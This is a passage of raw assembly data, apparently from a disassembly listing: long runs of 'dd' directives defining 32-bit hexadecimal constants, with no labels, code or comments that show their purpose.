85041EEEh, 97690F83h, 67A61984h, 0AD545B25h, 0D4A77CE9h dd 0D71A2904h, 1AB83EEBh, 0FE2C10A2h, 501F40A1h, 5A8C7DD1h dd 6BFFF5C5h, 0E162325h, 0B34506C6h, 0C898EA32h, 0BDDE5AB7h dd 9318AC41h, 0FBD70176h, 7EEA7C90h, 3ACC9C4h, 0DB1460CCh dd 0C216C290h, 0CABFE774h, 50E54E92h, 89C2302Ah, 2A4E158Dh dd 19A82AA9h, 52931F8Ch, 0BE7C00E4h, 662ED381h, 65585025h dd 26B783E6h, 0FDEA8956h, 5B124278h, 0CEB1EAE9h, 0EEF09236h dd 0B79DC18Bh, 23390082h, 40DD8B7Eh, 42176109h, 0FC102946h dd 1D46D675h, 2C7E8A00h, 3A07DADBh, 4BE0493Bh, 0EC183A0h dd 9509E292h, 82A62548h, 5FE4A7h, 0B116C14Ah, 13A84EECh dd 0A289B51Dh, 5D117700h, 0BE0AB38Dh, 0D6F4AFE3h, 0B85400F6h dd 1EABEEEFh, 0C705AE78h, 2918CB80h, 0FB2D217h, 244AA24Dh dd 0C7CCEA90h, 981050B3h, 4A162FCBh, 0C04235FEh, 0E1A84D05h dd 20A665D7h, 0D99FF96Dh, 57B30E82h, 0F15C05F2h, 124C8C01h dd 0F6B74BA1h, 1DF40956h, 42F30C3Bh, 1FCD8D29h, 0F564B97Fh dd 0E471C77Bh, 14E3AE1Ch, 34E7A303h, 2AD8D25Fh, 0E3020338h dd 0CC89597h, 0CBF3D74Eh dd 5F0DFD8Ch, 8744B5D1h, 0DCF62B00h, 6BDE798Fh, 89A500C1h dd 0E2585E32h, 0B14F6EF3h, 1D20A1ECh, 0ECA5F4Ah, 68D39927h dd 546FD8h, 8BFA5B4Bh, 0BECAE279h, 5C27DB9Bh, 0B80292F1h dd 50807C0Eh, 0FE0944E8h, 0C5566404h, 9F828094h, 0E6587D86h dd 0BCED51A3h, 2C2B3BF7h, 7452905Fh, 0AD01D4C1h, 61C4690Ah dd 0B6686033h, 0B89AFD7h, 4030BF2Ah, 0B861FBBFh, 82520F6h dd 4DDF8004h, 3FACE5E9h, 416D5E1h, 9BF60B84h, 0B4FB7BE0h dd 0FF6F5227h, 5D2FC735h, 0ED5B3930h, 20AF164Eh, 1F31BF6Bh dd 88DC04B7h, 0A430ECAAh, 7BFF1385h, 1E020049h, 0C7BDE4B1h dd 0C9D881AAh, 4D352B4Fh, 0C07D9BEEh, 0FC473DEEh, 814801A2h dd 5EC18DC7h, 5BF23F7Dh, 0FF16158Eh, 6A5ECC8Eh, 3A480046h dd 18F4A034h, 0DB813891h, 2947AE0Bh, 2C55D902h, 400ECFDDh dd 949DA60Dh, 0F9C85809h, 11595B22h, 75BB0103h, 0B07F40C3h dd 0E643453Eh, 212F070h, 9571E480h, 41E74AA4h, 10B58D31h dd 602DC87Fh, 0ECC98100h, 0B72F83EDh, 0CD614AAAh, 85F02F4Eh dd 300D4165h, 0BD120398h, 56B608F5h, 0FC23A513h, 8005C8C6h dd 0A9E6E883h, 0C84A2BA1h, 6E0B3B20h, 0FE5A0059h, 80D18B5Bh dd 0E92E24E3h, 0FC693892h, 0DEF6255Ch, 7BE60193h, 1A22CF03h dd 2022EC92h, 0D55B5FC5h, 0EE97FFFEh, 79D40509h, 8E2CAFFh dd 9A1F658Dh, 0EEDF1756h, 7312526h, 660B416Eh, 0D7140ABBh dd 3D54F11Ah, 1F4F3145h, 0FAF2F715h, 0C98D0F84h, 196810DDh dd 0C3002A93h, 5BE78123h, 9054781Ch, 85955346h, 0B267FB5Bh dd 7D499783h, 5D98C4A0h, 17AFA53h, 0CA29B000h, 17B559B3h dd 0A9527618h, 95E13D56h, 282389Ah, 0B90124A5h, 7A3E0F90h dd 75001B8h, 0BBE44EF0h, 541DDDCh, 9D8D0902h, 0FCAD222Ch dd 0DCAB74h, 0ADF7784Dh, 0E484CFA2h, 53BB260Eh, 96B29A5h dd 4ACE521Bh, 5B43E3FCh, 4B3D40B0h, 7E4FCE5h, 1428C5D3h dd 6EAED275h, 0D780158h, 14AADEFh, 5301FE63h, 1520FD24h dd 7989C49Ah, 350985E0h, 59B4A899h, 9D8BE36Fh, 2DEBADCh dd 4080A5C0h, 78AB880Dh, 21DE6ED9h, 0EAECCB8Ah, 4AB78828h dd 5F21A7FBh, 648058DAh, 6A9A85AFh, 0DB76BB61h, 2E2B9243h dd 0C018C85Ch, 1F2C464h, 465B44Ch, 1EC19529h, 0AAE45BACh dd 9BEE6717h, 0FFA937Ah, 638776C6h, 78595930h, 0F9BD0B04h dd 6B2A04A1h, 1C1A2379h, 9B36C1A7h, 75D6530Ch, 92E76FACh dd 85192AA0h, 80FDC401h, 0F8FC05A8h, 0C97C282Bh, 0E02A4D8Ah dd 0BA5370A4h, 0D8DFB58h, 0B8A86EF8h, 52A256D6h, 5E2F83FEh dd 5125DE24h, 1190651Ah, 0A0BF054Fh, 84AB42ECh, 47CA977h dd 71E9F8B0h, 7769255Fh, 45811430h, 2D2B2BB9h, 0A9142957h dd 545A83Eh, 55850953h, 615FA392h, 7FD635F2h, 1A912EB7h dd 0D8000E92h, 9F5891A2h, 101BEDE1h, 8805E960h, 0CB129E5Eh dd 0C388709Ah, 18F500C8h, 0CEB84DA8h, 5E114313h, 324C5061h dd 375F6A27h, 8BC40AB3h, 7202803Fh, 6848F4D0h, 7B0B9109h dd 0B8105FB5h, 6F0BCEFCh, 8B6ECD77h, 0ECC7D81Ch, 4AA325F8h dd 0C6C0276Dh, 484D245h, 0E918DC39h, 0DA0BC294h, 51FBF377h dd 6E2D491Ch, 0B0D262ADh, 0EA4A64B0h, 0F2BB8ECCh, 61D50934h dd 947FAFE9h, 0F88A25AFh, 0CDB75464h, 0EA48E214h, 2BD9A961h dd 20DE6F13h, 0B8C7EBC0h, 0B325C5E8h, 9F756689h, 1F148604h dd 65D0876Dh, 391EDFEEh, 5A39FEADh, 3452FF09h, 0E3494DB5h dd 3BA8379Bh, 0EB3D394Dh, 0FF602FC8h, 0B365D710h, 0CC7D6200h dd 0BA614826h, 0C3321724h, 3A0BE521h, 1BA39612h, 0E1167B4Ch dd 5FCBBF02h, 7EE6BB00h, 0BF506A5Dh, 6FF73708h, 4FD64B42h dd 61D75431h, 0C094AC3Bh, 15EBE437h, 1ADC0733h, 50A5D28Ch dd 7E4E2AC4h, 22E50804h, 5B083048h, 7B38B17h, 0FF784416h dd 0A081A220h, 0FE3B07FBh, 95F4FC21h, 58962282h, 0BA00E4F9h dd 72CA8E59h, 78F50028h, 2F945ACFh, 8D218A04h, 0E1562D85h dd 0E0029065h, 5C509E4Ah, 0CABE4036h, 0CF002282h, 0E70E2A04h dd 712BDEB9h, 4E3F7CD8h, 0E0B6F690h, 75596626h, 551B25A2h dd 2D8B35D5h, 0BEA42430h, 3DB07D09h, 0DDA58269h, 2FC0510h dd 17B5BDFAh, 0A56DED7Fh, 0A0500BF3h, 71E026FFh, 25C91CE3h dd 1218B247h, 179CBF35h, 44353A86h, 0ACB89B7Ah, 51B1925Ch dd 0BEA3E62Fh, 18161423h, 6ABDD7ADh, 0A292BAB9h, 4148493h dd 393EFC10h, 1CDC5D3h, 0CFB97B26h, 5100C8B8h, 5A9A55B1h dd 0B5898771h, 0A67A8340h, 81B3B0BDh, 0A09709EBh, 8E5A42FEh dd 0D0FF53B5h, 60017929h, 25DB2D18h, 36F0E19h, 836ACB3Ah dd 13DB5F8h, 45D6F197h, 0C8F3AC81h, 9741AF49h, 9BF86F04h dd 724600ABh, 365B376Ch, 98D98FCh, 52731F2Fh, 9D29B3A2h dd 0A44165FFh, 7B7960D5h, 4D12DC3Ch, 95B305C4h, 20AA8B32h dd 42E96DB1h, 52DFB96Ch, 30CD9F0Ah, 9611664h, 86706059h dd 9CB7C44Fh, 68D096B0h, 8A2FDA74h, 0C7D90173h, 0ED3A23F3h dd 530CAD98h, 0E04E2534h, 0D5614BDEh, 10DCA3F5h, 33930550h dd 58B19531h, 85BD7285h, 34FE174Ah, 0A0D0B6D9h, 2D8DDE43h dd 0F9FC17B6h, 0EA3917F6h, 0A56BFF97h, 1283142Bh, 2B2CF1ECh dd 0D3810430h, 8671225h, 47CC0472h, 0B45FA29h, 0E2BF1D9Dh dd 94AAC53h, 2B111D3Ch, 4ADCD889h, 1A46D6h, 436C7ECAh dd 0B8C17B0Ch, 51416242h, 0D0DA5696h, 7997D6E4h, 7D5B9F10h dd 7819E584h, 4708AA10h, 1F60930Ah, 0B640780Ah, 7CAF61E4h dd 2F35EBE0h, 129C5A9Fh, 2FFDE1B4h, 15B26DE6h, 956DA730h dd 0C051A389h, 9D203844h, 6089253Dh, 0C82FD1E1h, 2100F220h dd 0CBDD2CA8h, 0B964E753h, 0E66D27F2h, 0E7EFBBC4h, 0B07F311h dd 2C69B5A0h, 0FEB69A7Fh, 9DD6BE2h, 79A95BF8h, 0E56A191Ch dd 0DB92D456h, 66B2F025h, 2F8B98F2h, 0AEFE31ADh, 212E4A71h dd 4326D73h, 79B5B202h, 0C03AFD25h, 0FB77A78Fh, 0B6BFC485h dd 2C72A559h, 4358FF36h, 63C6F532h, 0FB9C8B95h, 6DF76BE8h dd 0E4DD4B56h, 97E97004h, 556E1A0Ch, 0C18BC3C4h, 551F98D2h dd 1691A737h, 0B00B7484h, 0C61BA0Dh, 331D8DA4h, 0FEDA572Bh dd 62E82534h, 90D26A1Ch, 0B5CD5E1Fh, 0B07D04AFh, 25B0A12Dh dd 0BAF7E6B1h, 989229EAh, 403212h, 9F3A352Ch, 6A5B4A31h dd 78B57BB5h, 371F01C7h, 0F3578656h, 150BADA2h, 1F7EDBDFh dd 53A5458h, 42FB1998h, 0A7AB02C2h, 37DF4A25h, 87CA5A2h dd 830FC897h, 66436422h, 4E5D18B8h, 0CE95E1B8h, 90D812E8h dd 84C8AB60h, 4A799561h, 35D87E87h, 9CF0A530h, 0D7EB001Eh dd 46DB3812h, 22E0E068h, 42905526h, 0FCB14DEh, 800B1A82h dd 0C75C2E3h, 5B8B50DBh, 0E665FBFBh, 7631CC09h, 0BF564FF4h dd 151489Ch, 748539BFh, 88525B19h, 6232928h, 12D1FF5Fh dd 479503F4h, 766111Dh, 3EC381F5h, 6A6CF8A0h, 5E507602h dd 0EE29BF8Ah, 5C559331h, 0F119DC6Fh, 0D91C3E31h, 81872A2Dh dd 0DE08FE99h, 5C041546h, 0BF2CE9B8h, 0B124648Eh, 60562E52h dd 89139C53h, 0D673A017h, 4682BB9Bh, 7ED6A02Bh, 40FC2D40h dd 0EA303D96h, 5C980780h, 5144239Fh, 0CB367526h, 5F250290h dd 35BD00CEh, 9D4D02C8h, 9758809h, 0E312302Ch, 0E66004C7h dd 843DA751h, 6FBC1329h, 0F9510048h, 0C59DB129h, 7B6D2769h dd 0C03A6891h, 940025FCh, 0E5A94220h, 4C7EAC9h, 0EEF5841h dd 840BB9D2h, 2AAAFE8Bh dd 7513C038h, 253E9D20h, 0B944D8E5h, 85C1E13Fh, 5BF8D740h dd 23E16BFEh, 10D5001Ch, 812647C7h, 62F4B215h, 42EE5B36h dd 759D23DFh, 6A89C55Eh, 0C0CC4DFFh, 5E4D9E88h, 118EC148h dd 0B50824D9h, 5D2510ADh, 0B1954D44h, 22165824h, 701E2520h dd 0E6F812B0h, 0ABE31670h, 5BC75B3Ch, 7BBF857h, 26F482BFh dd 50337219h, 0E49D2B2Dh, 84D58206h, 39B81915h, 2A2D1E98h dd 3D6C95h, 348C24F4h, 414EB7E2h, 35C66105h, 82EE221Ch dd 4B5C33BAh, 40D17449h, 0D86C1DAh, 79E43D02h, 0C29D6915h dd 210FCE6h, 1D718531h, 942555Ch, 93F5D2BDh, 259EACB4h dd 80795E62h, 79D7F800h, 7604056h, 95922D99h, 4F2640E5h dd 4DBC330Ah, 390BEF02h, 9D4F504Dh, 9855659h, 0BA23FD9Dh dd 0BB17029Eh, 7F4A8BAh, 5504725Ch, 0B2AF4947h, 61D44AF4h dd 5258E4FFh, 2D54F398h, 22D65FAAh, 0A0C3D3ACh, 11F8ABF6h dd 6D3AF13Eh, 0C9032593h, 0E64C1D79h, 4DC08A0Ch, 3D2CCDBBh dd 8225148Bh, 52E961BDh, 2590B00Bh, 7FCE2AF9h, 0BCF8102h dd 5C0ADA3Ch, 572F447Bh, 255E8DA0h, 7BCC5F46h, 7852F868h dd 0C80FD21h, 99378A72h, 93EB003Ah, 0DDD2343Ch, 0A3126D01h dd 79E639C0h, 49A78B0Bh, 0AE79B953h, 50CD07C8h, 95DFAFEh dd 18399D01h, 62CACFF5h, 5EE079D3h, 155E05BDh, 0D68FF6E9h dd 14ACF020h, 1A05F25Fh, 0DCB239C2h, 0D180BABh, 8D96E7Fh dd 28F19D29h, 57107B89h, 9502FBBDh, 5C809BEAh, 13922DA3h dd 9CAF40D5h, 3AD500E6h, 7795D43Fh, 0F02F9F73h, 0C3026DFCh dd 24136EB6h, 3B52B585h, 6FEBD1D4h, 0A3AB120Ah, 0B13ECCBFh dd 17091F40h, 0FF246595h, 0A6D2822Ah, 3CEB0023h, 65D6B860h dd 0BE6B01C2h, 3793ED0Ch, 807A2861h, 0BDE01BD0h, 1E6C00EBh dd 1A90C9FBh, 93985E58h, 809CF200h, 0DA8B6BD1h, 0F7884B0Dh dd 9F99B049h, 0C770F946h, 20792585h, 0BA53EBFCh, 61D05CD9h dd 3BD1F380h, 0B7AC86F8h, 0E450F872h, 0F6B799B0h, 0A79C71BCh dd 1577D695h, 16BCF009h, 0CB850F8Ch, 0E1E0601Bh, 559B9525h dd 61D5B012h, 6A4A95E7h, 0D22B0057h, 0FB1CBCFAh, 0DB5EB767h dd 0BD4DB563h, 9F0398FBh, 0C1985207h, 0E05B3554h, 0B4E1FF52h dd 9117DCD7h, 0C4AE2F2Eh, 0FA38FE10h, 2044143h, 0E77FE1BCh dd 44B8B23h, 66807EBDh, 222E5AE9h, 0F6CD5F03h, 62C49749h dd 74A493C4h, 0ECD50008h, 0AC128332h, 0D700E63Eh, 95D1A227h dd 47F1822h, 615A911Bh, 8FB252h, 5BAC05D8h, 0FC4B495h dd 0A51B3C2h, 5D898640h, 0B70BCA75h, 53605B26h, 80D378F0h dd 53DF0997h, 0C1E07021h, 0B7B84C1Fh, 890DD24Bh, 17FC6B48h dd 0FD31250Ch, 0ACBB919Ch, 0E04202A1h, 0E1436F5Ah, 6912A5Eh dd 55B5290Bh, 46F45FFEh, 2B137B17h, 0AEF12545h, 0C3B4EC3Bh dd 3B1C99B5h, 0F0CABD69h, 51979064h, 0D08A42AAh, 0BF016056h dd 29AFF5BDh, 0F57418AFh, 23FD40B1h, 0A7F85445h, 20C07480h dd 6907B8FEh, 335989BAh, 49662997h, 5BFF2E94h, 12E108C5h dd 86886805h, 1279B8A0h, 0E03BF8FDh, 7D1277F0h, 1A853CC8h dd 8AFEC5C5h, 0D203A074h, 0F97512E2h, 52C81DD5h, 83B2EA17h dd 6E60A14Ah, 82ECA8F9h, 0AF356B01h, 0FDB3AE4Ch, 1C7DC288h dd 0FCBEE90Ah, 0BFAC3F48h, 7958CA09h, 8EA3A900h, 7D2EE5DDh dd 93F4560h, 0C600FDDAh, 2FE84259h, 4BA27C08h, 0BF16C5C8h dd 0AB62637Bh, 0F35F2EC9h, 0AF18B4B9h, 232783E7h, 89EC27FFh dd 5818F7EBh, 0E23AE781h, 736B254Ch, 181A59EDh, 0C0640EA0h dd 0C489D430h, 2F2C2A61h, 50F52021h, 4009B373h, 0F35FD95Bh dd 97B789ECh, 5DFD097Fh, 328136B7h, 0BA61ADA4h, 123CBFDCh dd 0F65F44AAh, 49850820h, 0C6507918h, 5F95BAD5h, 0E2B5DEDAh dd 660E10AAh, 0C19A3ABEh, 0AF748BAFh, 2FE6C660h, 46B44846h dd 3C00E296h, 0F6010097h, 0AA3454DAh, 35E5002Dh, 0AFE915F9h dd 109D6D30h, 3C25F2h, 13340B46h, 8B411581h, 0A55FFA38h dd 709DDB58h, 3D7A1932h, 85296005h, 0DDBF1DF1h, 0B333AEh dd 0B396D52Ah, 13D87BE5h, 7E4DE88h, 0C344BB48h, 0AEBC0441h dd 328442DBh, 8A17D8FEh, 0F5E0D94Ah, 0A7BD50A3h, 0EF10C2F9h dd 1CD5FC07h, 43BD7A6Dh, 7B51CB2Bh, 0C1F3D891h, 6959D01h dd 117E096Bh, 0D2E9D034h, 7709A871h, 6EDE395Fh, 1F5A3C2h dd 5D45F3D7h, 6F0938A5h, 0F3D70980h, 0E9370CB7h, 206AD180h dd 94CB5078h, 2CC5259Dh, 0C0A8D816h, 0FC24CBF2h, 0C380FDB9h dd 6CAE889Eh, 0DE8B278Ch, 1F3C7610h, 88DAF200h, 0F1FF3770h dd 7375017Ch, 26366B15h, 0E5622E82h, 3E951980h, 6BFF6194h dd 1923B6h, 0D137B2C2h, 0F50B5DD0h, 766D8D29h, 1156A4E0h dd 0C3BF0205h, 6A562F0Bh, 0C7907FA1h, 3E0261C9h, 50DC7141h dd 2CC8F7CFh, 2848681Eh, 5BDA1567h, 0DF808291h, 69FEFEC9h dd 0E5986FFFh, 15A6C3F2h, 0B39BBF84h, 0A5C117C8h, 0B07AB935h dd 204EDDE9h, 0DFEB30AEh, 70F672B2h, 43861F01h, 0F5FB18AEh dd 0FDA9ED6Fh, 0C2BBC47Eh, 14D50D24h, 6F37BFECh, 5860790Bh dd 80D6B110h, 0DFCD6E37h, 83931143h, 0EE26040Ah, 0C1CC5C6Bh dd 2BE1CF45h, 71747EF4h, 68B79758h, 0BB821C11h, 58F53D8Ch dd 0B0B3E6F8h, 80C955F2h, 4A4D9660h, 121CE30Dh, 42F1DFB7h dd 0B96E2Bh, 4068A6DEh, 0B0E70942h, 3CCF1206h, 8434B932h dd 2FBCFE8Bh, 964051CBh, 9087AF0h, 9811C98Dh, 0D88A885Fh dd 0CF87059Bh, 735E3851h, 0BD7860FFh, 4382096Dh, 0E421ABFDh dd 25D0B6FEh, 2F5E79F8h, 0B7C01FEDh, 22DFAEDh, 9C7F83B5h dd 8477639Fh, 3AB92227h, 5AE3B7D2h, 95A0ADA6h, 43032FE9h dd 69F48F21h, 2705C21Eh, 3BC1E16Fh, 0F1292E9Ch, 0EDE913EEh dd 0F1EE1532h, 0F2FEA36Fh, 47E1178h, 0A7C73069h, 0DFCCBA83h dd 0A1BD1223h, 0F2BCE62Bh, 9C73018h, 0D80CB217h, 54331B4Bh dd 457C52D6h, 542D3823h, 0B87D2F28h, 0E29D0378h, 0D61C970Dh dd 4FDE5D5Bh, 0EDD2A4C0h, 25122EE7h, 88AF8CBEh, 0FCEE3D24h dd 0CAC98509h, 49ED71F9h, 10402B4Dh, 4A358529h, 2511E221h dd 0D13DFFFCh, 84BE1B15h, 0A8AEB98Ch, 0AFC9291h, 0E92F1920h dd 95CBF053h, 2E1208B7h, 93F5F601h, 0BA6DC18Bh, 0B16EEB8h dd 5DC0381Ch, 6E81F00Eh, 9D323EAh, 0F021467h, 3F0F11B5h dd 943CCFCh, 0B4A347Eh, 4ECD7D85h, 19584425h, 1AC22B58h dd 6AF4A4F0h, 5A4D3805h, 40FD62C4h, 50019D48h, 81D0033Ch dd 9245D93Ah, 0CC938419h, 34E0852Dh, 0A4D94FE9h, 4AB0C8B5h dd 1A220920h, 4F3C4003h, 28170A2h, 589F8B07h, 801CD112h dd 5BD8F805h, 0FB030C1Ch, 0DE328924h, 1208D84Dh, 64802BBDh dd 6D05508Fh, 0BBC45E83h, 8B51D121h, 1410EA70h, 14B0A981h dd 3AC1B569h, 215B6CC3h, 4A249107h, 68558CEEh, 3209DF95h dd 49CC5B57h, 41E9B558h, 93086982h, 20FAD3EBh, 0E5601C0Ch dd 9887CA00h, 525849DCh, 5ECF028Bh, 6C54C081h, 68CB81A1h dd 665534F3h, 16F9BE12h, 38A870BEh, 0EC03C781h, 527E86FEh dd 4679F8h, 2668ADD0h, 2D2B7BEh, 0EF3E2B7Bh, 7E50806Eh dd 743FB966h, 0F1D1F657h, 700BB2F4h, 0DCE6B58Fh, 0CEADEB00h dd 4F59BDAEh, 54C70087h, 0EFB7D9A3h, 645FD857h, 0F94B88h dd 4EBA9C2Ch, 360DC9CEh, 0F7404Ch, 6116D849h, 9804E883h dd 4BCA24D5h, 409E1234h, 8DC0BE18h, 9D000652h, 89946B1Fh dd 3074A98h, 79611AB7h dd 12A0B6E5h, 1005777h, 0A5F31B33h, 15DB8CEh, 854EA3Ah dd 0D877B6E1h, 62030642h, 4A3D884h, 0A750D0A2h, 0F012003Fh dd 0EEED0E48h, 6000E0FCh, 1084A8F1h, 2E857F9Ah, 34DA5D8h dd 0A18E48BFh, 0ED5DBCC0h, 6F094500h, 4AA7DA87h, 0D2F00DCh dd 3C301E21h, 6000069Ch, 38E00205h, 0D048E2h, 0C1DD9172h dd 0B87353CFh, 4D91800h, 0F38CFD34h, 393F009Eh, 98329DA8h dd 5E765FE1h, 5480139h, 0CBC06A04h, 0EA6BD000h, 130E1BF1h dd 0BFC88E88h, 3F2C0D00h, 0E4CEFB04h, 7D2B0351h, 5CC9EC99h dd 680D8FE0h, 0DBBF2C00h, 987270ADh, 174D0662h, 0E4DDC2EBh dd 0B65D100h, 0AA8F24FEh, 4A8A0354h, 1AB2D9BEh, 2C362ED8h dd 0A9F498FAh, 91AB6C00h, 3329DF3Fh, 0EB1600AEh, 0E3B17095h dd 0DB75C34Eh, 611C791Ah, 5DEF8040h, 0E4491C2h, 0C4706804h dd 0F2C567A0h, 3000C38Eh, 0A6751A2Eh, 14C3AFFh, 50FBF58Ah dd 60C2A133h, 9507B2BAh, 5585B131h, 0D44FDA30h, 0F6E70FF3h dd 0C5407F15h, 0B802AD7h, 3A3F1000h, 0CADEB12Bh, 84991DE3h dd 6807B58h, 0D9D8057Eh, 2E006ACEh, 54344256h, 1894C038h dd 203C826Fh, 6B002DDFh, 114793A8h, 73E62843h, 0A11B30E4h dd 0D85254B1h, 0D1E0F500h, 116BF3F1h, 0BBC500C4h, 13999845h dd 9F0E756Fh, 4B1519D4h, 28A80027h, 7EF7883Ch, 0B003502Eh dd 18EE4420h, 2D362F07h, 0C0270AD6h, 1CE00430h, 671200E7h dd 37B2CF77h, 0A03A1D47h, 0B0A41F34h, 50602C00h, 38B3F8h dd 3D43C38Fh, 804CD139h, 4D870707h, 0E9E0E5B7h, 7B81AF65h dd 5A9F002Fh, 54EDC7C1h, 30051E3h, 9C440552h, 3C612F7h dd 9D7CD96Eh, 1F807C9h, 5800100Eh, 951B7997h, 1D5C6D38h dd 0D4CD08D9h, 6200F4C8h, 74225B04h, 0D1CAA2ADh, 8000BC81h dd 1BFBAFD4h, 8A4000B9h, 190FDB6Dh, 1D073891h, 0DCB343Ch dd 0B02BAE70h, 599300DFh, 73E8824Ch, 9800A17Dh, 4E7E99A8h dd 92233AD0h, 61C30334h, 72F9EF9Fh, 8A29FBC0h, 43A80950h dd 99EC6245h, 0CC5A0E82h, 0BA80D16Bh, 3507E921h, 8AEC6100h dd 43C10D36h, 0E43D7FA7h, 0D75600CBh, 2ABBA022h, 0C250FA61h dd 0B5008AB0h, 95EF712Dh, 0F2AEE8h, 4E9C182Fh, 4AFD5F9h dd 7F94493Fh, 88D26A00h, 0BE53BA9h, 5DAD0071h, 0C21CC4A8h dd 3F004360h, 0CCF51F87h, 0AF4231h, 4E575234h, 163601D4h dd 15787600h, 5BF6BD79h, 1AEC00E7h, 0C98B870Fh, 80004B61h dd 0B8BEC4C7h, 1F42B6C1h, 5A6E97h, 442CFAD5h, 7800E949h dd 0CF6DF6CCh, 0C9D473h, 69B0BA28h, 8957F5BFh, 2262A904h dd 91C14852h, 0ECD8C3DFh, 28708Eh, 92A066C4h, 0BD6A3C6Ch dd 39BCD200h, 0E744F90Fh, 0B7D1078Eh, 47495E94h, 9099B0BBh dd 0DA508C15h, 609229B8h, 0A700DBECh, 0A1896713h, 72169D7Dh dd 9824046Bh, 80C371CAh, 0F6FC0554h, 70960F00h, 0A2AA35Fh dd 0C9B80036h, 0A7717E9Dh, 847448C2h, 5C00CE79h, 11A6ABA3h dd 38AF3Ah, 9EE9925Eh, 7386B323h, 9BB78200h, 7916410Eh dd 0D2A0066h, 32392FFCh, 0B30109D7h, 0B9354DF6h, 2F20C210h dd 4E3800A5h, 8C87FC96h, 3100AEBAh, 76F6894Fh, 2CEF433h dd 6920519Fh, 0C40B821h, 4D132396h, 3404CF2Fh, 34909753h dd 2034EBh, 4C1CE8F2h, 0DAA2FE41h, 1E620D01h, 6BB20AA3h dd 6512420h, 2FABF13Dh, 9BFC106Ch, 8FB66D01h, 0AFFC7970h dd 3B531980h, 0CAEF1ADBh, 4AFE2F1Eh, 4616870h, 347D000Dh dd 0FBC3D775h, 3100C1C9h, 0E973722Fh, 128294h, 74663388h dd 0C9D3FA2Dh, 145F002h, 0E099C4B5h, 114BF7h, 3691DC87h dd 8BBCC7AAh, 12F641EEh, 0DF5D5B18h, 3589639h, 0F8CDA444h dd 19010EAh, 0DE3BFC7Bh, 0F3880F7h, 0B00C5612h, 349089h dd 0BE2C3947h, 0C81EA4CAh, 7F5A2400h, 0AD6BF47Eh, 0A753033Fh dd 6913E0EFh, 0E92FD6B0h, 6E47AB1Ch, 1B63EDC0h, 78641AFh dd 18F5F031h, 4E2A4538h, 0D9C0A178h, 24CE4FC1h, 0D0E1562Ch dd 0EDA9503Bh, 20656F00h, 0C0048E07h, 77FF06F5h, 295228C2h dd 0B7EDD200h, 968893E9h, 61620F84h, 9F5F74D6h, 3F529C2Fh dd 0C0D88BBBh, 0C84AE100h, 768C599Ah, 913D62F0h, 0BBA983A0h dd 0E05E9CB5h, 0C06CFE63h, 98A3F1A8h, 210080DBh, 2C04AE4Fh dd 0E95C87h, 890D1CEEh, 646FBB8Dh, 0CE4F254h, 97A0C800h dd 761EAD53h, 7055005Ah, 3F28EAE5h, 435CB6E3h, 0C23E0614h dd 3F0C4DB4h, 411E9DEEh, 40169C37h, 0E968358Eh, 3B0099DFh dd 0BC9383Dh, 1639880Dh, 3D6DD5Ch, 0DC27AE70h, 2750087h dd 6B0528D7h, 1EB731B5h, 499DCC90h, 1F3901DEh, 9F1A3585h dd 0A31880B9h, 0A405FD6Dh, 755B1444h, 4C20181Fh, 0C53B3740h dd 702F08h, 9BD244AEh, 0B5003E47h, 0A09ADD51h, 0B05823h dd 521DE133h, 0A7E24864h, 1B3CEB0Fh, 0BB0987F9h, 0B7542250h dd 3EE60F5Ah, 5B471560h, 1AA380BAh, 0F301E29Dh, 0CE64B578h dd 0B6E4E43Eh, 1E592882h, 0E5EA00A8h, 0E1A4A9D6h, 85004FB1h dd 65DF3534h, 23EBE64h, 9C9562B4h, 0C0A6DE24h, 0E803D05Ch dd 4A76D6F5h, 4315AA30h, 6AC6F0B0h, 8F3A0E97h, 11C0C7F2h dd 1DB8239Bh, 92D92600h, 0E1646D7Eh, 0F78500C0h, 1051B62Ah dd 0D70076D3h, 5E4ABA49h, 8B208Fh, 0A9F87F1Ah, 0E7DF1067h dd 0D300AC7Fh, 1EA05790h, 26D4C3h, 0FA7B45F7h, 0E1C9CCB4h dd 0AC4BC0F7h, 19AE0300h, 0BC63E792h, 0E9D50037h, 0BFC29D1Ch dd 227EDE44h, 0F7B7E01Eh, 0CEC51E80h, 7013C49Bh, 855B000Bh dd 9CFA6BB4h, 8900BF0Ch, 0EEA80ADAh, 7264EDBCh, 88470367h dd 0A3B81E6Ah, 5FDCDAE0h, 0B20A43F8h, 94DD496Dh, 0DE0DF980h dd 70E62BCh, 0F65A653Fh, 6410493Eh, 0DE00051Ch, 0EFA32159h dd 6DF1D8h, 2C9E134Dh, 0B5AEE6E2h, 0CE158C1h, 6091611Bh dd 0DE108070h, 8C2662BFh, 3C1FF444h, 0FE80DE08h, 25BD5209h dd 0C703FD77h, 0EB2AAA64h, 0A0290DD9h, 0B3D17837h, 0E1841810h dd 74229A2Ah, 9CBA3A00h, 0FDADA40Bh, 0A59BB619h, 219C2F08h dd 0EE9C805Bh, 0C6F11F54h, 0D86D0203h, 8B4467h, 0B0E27A58h dd 0FE94CBB5h, 709CC118h, 0C0E44A81h, 0A213A989h, 0D800E69Ah dd 0CDB458C9h, 36F607Bh, 0DFA644C3h, 0C1D91B1Ch, 0D2A984B5h dd 0A4802475h, 33DD8577h, 0CB085F33h, 6DF52104h, 8E87CE24h dd 0A489C410h, 0A4D6F0FEh, 0F7190CD8h, 6410E3FAh, 56067200h dd 23D6CC01h, 8BEF58F0h, 2E5DED00h, 0E7AD5CD1h, 9FDBD301h dd 0FA95F353h, 7557E860h, 0B81260EEh, 8A44871Ah, 595BB326h dd 2019970Eh, 963A5477h, 84F017Bh, 0F1391302h, 0AB12CC28h dd 0BE20FE00h, 96117DE6h, 0B538005Dh, 50416E3Bh, 6DF62477h dd 0D77C7400h, 0D64DD33Fh, 462A00B7h, 0BF1E75E2h, 0E300F50Eh dd 699ED2AFh, 7B946A5Bh, 7C510038h, 4EFCD7F4h, 820016B0h dd 0C6C50A3h, 3F9B17h, 9CC8C48Fh, 5E237AEAh, 0EE1C77F6h dd 8200D415h, 3BF2C296h, 871207EFh, 0CF0C94h, 148A6680h dd 0F3073C7Ch, 8CC14DFAh, 0A9E9F640h, 38B900C9h, 0ED1AE613h dd 8CCBE0Ah, 0D021A4h, 3E99B9D1h, 0A3A92512h, 0B000E4E8h dd 2EFA4F0Eh, 644E90h, 0B1E089E9h, 7C41BE51h, 0BF93360Dh dd 48AC18FCh, 27F30C0Ch, 0AC186930h, 4F20AE5Ah, 0F6510A15h dd 91509A7Eh, 0B9C28046h, 8CBE1331h, 0C9A544h, 60B5B9CAh dd 0E3B84537h, 5C8F3E00h, 7EF5FAF4h, 582B60AAh, 0DDE23A14h dd 0AD77E575h, 